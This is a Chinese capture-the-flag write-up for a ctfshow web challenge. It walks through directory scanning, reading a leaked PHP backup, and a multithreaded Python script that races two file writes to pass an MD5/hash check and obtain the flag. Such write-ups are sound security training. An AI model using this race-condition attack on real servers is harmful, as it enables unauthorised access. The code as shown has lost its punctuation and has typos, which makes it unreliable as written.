ctfshow红包题第六弹(竞争条件)

发布时间:2026/5/31 17:28:29

ctfshow红包题第六弹(竞争条件) 一、红包题第六弹 wp1.1 参考文章CTF show Web 红包题第六弹_ctfshow 红包题第六弹-CSDN博客1.2 信息收集(1)进入页面有输入框怀疑是sql注入但是题目提示没有sql注入​(2)源代码有两段js函数都是给浏览器通过api与服务器交互1.3 API参考文章API是什么1分钟就能看懂的API白话介绍与范例解析 - 个人文章 - SegmentFault 思否应用程序编程接口是一组预定义的规则和协议允许不同的软件应用程序相互通信和交互简单来说API就像是预定的规则客户端通过规则(API)向后端发送请求后端收到API请求后响应客户端举个例子我客户端服务员API厨师后端我告诉服务员API我要吃什么厨师通过服务员API做响应的菜品这两段API最关键的就是这两段get传参username和password给login.php进行登录校验post传参token和php://input(可能存在文件包含或者post参数构造)给check.php(3)dirsearch目录扫描扫到web.zip访问/web.zip下载压缩包解压后是check.php.bak备份文件其中和flag相关代码1.4 md5(date(i))在php中md5(date(i))表示当前的分钟md5(date(d))表示当前的日子几号md5(date(m))表示当前的月份md5(date(h))表示当前的小时md5(date(s))表示当前的秒1.5 receiveStreamFile方法receiveStreamFile($receiveFile)这个方法会优先读取原始页面post内容将其传入$receiveFile内如果原始post内容为空就会读取php://input的POST数据到$receiveFile内这里的$receiveFile自然是flag.dat1.6 代码解释传参token其值要等于当前分钟的MD5值接着通过$receiveFile方法向flag.dat文件写入内容再判断flag.dat和key.dat的MD5值是否相同hash值是否不相同满足条件后输出flag1.7 思路访问key.dat下载不同文件的MD5和hash不可能同时相同或者不同可以通过线程的方式创建一个竞争条件脚本让flag.dat文件内容在第一次校验是key.dat然后第二次校验之前替换为任意内容然后token赋值为当前分钟的MD5构造post参数即可脚本如下import requests import datetime import threading import hashlib t datetime.datetime.now().minute token hashlib.md5(str(t).encode()).hexdigest() re url http://ee9b7337-1b73-4b6e-a476-a883575a0c07.challenge.ctf.show/ def cpRequest(url,data): url f{url}check.php?token{token}php://input global re s requests.post(urlurl,datadata) re s.text with open(key.dat,rb) as f: key f.read() with open(1.dat,rb) as f1: data f1.read() # 竞争线程 for _ in range(100): threading.Thread(targetcpRequest,args(url,key)).start() if ctfshow in re: ptint(re) break for _ in range(100): threading.Thread(targetcpRequest,args(url,data)).start() if ctfshow in re: print(re) break1.8 注意1.竞争条件核心让线程A(传入key.dat数据)和线程B(传入任意数据)这两个线程几乎同时启动竞争flag.dat的写入权二者间线程全部建立相差3毫秒左右2. 线程数线程数设置100防止流量过高被拦截3.不同请求的回显请求一个网页 返回HTML 源码请求一个 APIJSON 返回 {code: 200, msg: ok} 之类的 JSON 字符串请求一个图片 返回一堆乱码因为 .text 强行按文本解码了二进制数据此时应该用 .content最后运行得到flag可能需要尝试多次flagctfshow{823d5536-2b07-4d8f-aacc-1badebf6d5c1}

相关新闻